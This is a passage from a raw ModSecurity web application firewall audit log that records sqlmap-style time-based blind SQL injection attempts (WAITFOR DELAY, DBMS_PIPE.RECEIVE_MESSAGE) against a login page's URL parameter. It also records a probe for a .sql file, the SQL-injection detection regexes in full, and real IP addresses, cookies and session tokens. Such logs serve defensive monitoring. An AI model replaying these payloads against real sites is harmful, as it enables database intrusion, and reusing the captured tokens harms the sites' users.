..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and 'wlgf'='wlgf found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' waitfor delay '0:0:5' and 'wlgf'='wlgf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89u4l8S04UZ4l67-nemgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023611964807 197275 (- - -) Stopwatch2: 1750023611964807 197275; combined=4864, p1=540, p2=4035, p3=0, p4=0, p5=288, sr=150, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --74d13c5f-Z-- --c113a832-A-- [16/Jun/2025:03:10:13.482350 +0530] aE89vQiLzf5Jb_3uGhHgDwAAAAA 172.71.144.52 53700 127.0.0.1 7081 --c113a832-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20ZOQZ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.52 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505397d2ea7dbc7-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --c113a832-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%200:0:5--%20ZOQZ Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --c113a832-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20ZOQZ"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now WAITFOR DELAY '0:0:5'-- ZOQZ found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- zoqz found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now waitfor delay '0:0:5'-- zoqz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20ZOQZ"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89vQiLzf5Jb_3uGhHgDwAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now WAITFOR DELAY '0:0:5'-- ZOQZ found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89vQiLzf5Jb_3uGhHgDwAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- zoqz found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now waitfor delay '0:0:5'-- zoqz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89vQiLzf5Jb_3uGhHgDwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023613272091 210390 (- - -) Stopwatch2: 1750023613272091 210390; combined=3778, p1=311, p2=3254, p3=0, p4=0, p5=212, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c113a832-Z-- --f682e407-A-- [16/Jun/2025:03:10:14.459399 +0530] aE89vkNwpNEMJppxC49SCQAAAAI 172.68.194.212 53776 127.0.0.1 7081 --f682e407-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%208241%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2877%29%7C%7CCHR%2870%29%7C%7CCHR%2878%29%7C%7CCHR%28118%29%2C5%29%20AND%20%285495%3D5495 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.194.212 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539833ba89733-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --f682e407-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%208241=DBMS_PIPE.RECEIVE_MESSAGE(CHR(77)CHR(70)CHR(78)CHR(118),5)%20AND%20(5495=5495 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --f682e407-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and (5495=5495 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and (5495=5495"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and (5495=5495 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and (5495=5495"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89vkNwpNEMJppxC49SCQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023614264901 194591 (- - -) Stopwatch2: 1750023614264901 194591; combined=3033, p1=366, p2=2521, p3=0, p4=0, p5=145, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f682e407-Z-- --38c44b23-A-- [16/Jun/2025:03:10:15.083297 +0530] aE89vgiLzf5Jb_3uGhHgEAAAAAA 185.177.72.210 53778 127.0.0.1 7081 --38c44b23-B-- GET /vb.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --38c44b23-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0a846e4297abc2b2ca1b04071ac7f8c51750023614; expires=Sun, 15 Jun 2025 22:40:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --38c44b23-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/vb.sql"] [unique_id "aE89vgiLzf5Jb_3uGhHgEAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023614395144 688241 (- - -) Stopwatch2: 1750023614395144 688241; combined=1843, p1=315, p2=1438, p3=0, p4=0, p5=90, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38c44b23-Z-- --a847e921-A-- [16/Jun/2025:03:10:16.635821 +0530] aE89wLsEVBap6l1Fvp1ASwAAAAQ 172.69.151.87 53912 127.0.0.1 7081 --a847e921-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%208241%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2877%29%7C%7CCHR%2870%29%7C%7CCHR%2878%29%7C%7CCHR%28118%29%2C5%29%20AND%20%28%27ColO%27%3D%27ColO HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.151.87 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539919d0e4dbd-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a847e921-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%208241=DBMS_PIPE.RECEIVE_MESSAGE(CHR(77)CHR(70)CHR(78)CHR(118),5)%20AND%20(ColO=ColO Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --a847e921-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and ('colo'='colo found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and ('colo'='colo"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and ('colo'='colo found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and ('colo'='colo"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89wLsEVBap6l1Fvp1ASwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023616334354 301564 (- - -) Stopwatch2: 1750023616334354 301564; combined=157524, p1=351, p2=3330, p3=0, p4=0, p5=76987, sr=95, sw=0, l=0, gc=76856 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a847e921-Z-- --36699c16-A-- [16/Jun/2025:03:10:16.863946 +0530] aE89v3ZqyQ8YfVGvJU7Y5AAAAAY 66.146.239.110 53890 127.0.0.1 7081 --36699c16-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 66.146.239.110 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 398 sec-ch-ua-platform: "Linux" user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135" content-type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 accept: */* sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty referer: https://www.retaxis.com/services-marketplace-design-pricing/ accept-encoding: gzip, deflate, br, zstd accept-language: en-US,en;q=0.9 priority: u=1, i cookie: _sfs_id=fd3ed4e64b245cbfe4cf9044083c19a81750023608; _ga_PETSZCXF5J=GS2.1.s1750023614$o1$g0$t1750023614$j60$l0$h0; _ga=GA1.1.1594573482.1750023614; _gcl_au=1.1.2874075.1750023615; _fbp=fb.1.1750023615683.306662876652603187 --36699c16-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=mgo5dqn83dlkq5t7orjc7sadp6; expires=Sat, 13 Sep 2025 21:40:16 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --36699c16-E-- --36699c16-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE89v3ZqyQ8YfVGvJU7Y5AAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE89v3ZqyQ8YfVGvJU7Y5AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023615829540 1034506 (- - -) Stopwatch2: 1750023615829540 1034506; combined=5326, p1=600, p2=4436, p3=132, p4=36, p5=121, sr=180, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache WebApp-Info: "default" "1750023614" "-" Engine-Mode: "DETECTION_ONLY" --36699c16-Z-- --aebfb213-A-- [16/Jun/2025:03:10:17.903958 +0530] aE89wUNwpNEMJppxC49SDAAAAAI 172.71.164.126 53994 127.0.0.1 7081 --aebfb213-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%208241%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2877%29%7C%7CCHR%2870%29%7C%7CCHR%2878%29%7C%7CCHR%28118%29%2C5%29%20AND%20%27LcuK%27%3D%27LcuK HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.126 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053998ab2cd262-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --aebfb213-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%208241=DBMS_PIPE.RECEIVE_MESSAGE(CHR(77)CHR(70)CHR(78)CHR(118),5)%20AND%20LcuK=LcuK Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --aebfb213-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and 'lcuk'='lcuk found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and 'lcuk'='lcuk"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and 'lcuk'='lcuk found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5) and 'lcuk'='lcuk"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89wUNwpNEMJppxC49SDAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023617692495 211559 (- - -) Stopwatch2: 1750023617692495 211559; combined=3954, p1=350, p2=3447, p3=0, p4=0, p5=156, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aebfb213-Z-- --97a57571-A-- [16/Jun/2025:03:10:18.879999 +0530] aE89wgiLzf5Jb_3uGhHgEgAAAAA 162.158.111.183 54038 127.0.0.1 7081 --97a57571-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%208241%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2877%29%7C%7CCHR%2870%29%7C%7CCHR%2878%29%7C%7CCHR%28118%29%2C5%29--%20jnwp HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.183 X-Forwarded-For: 91.92.46.79 Connection: close 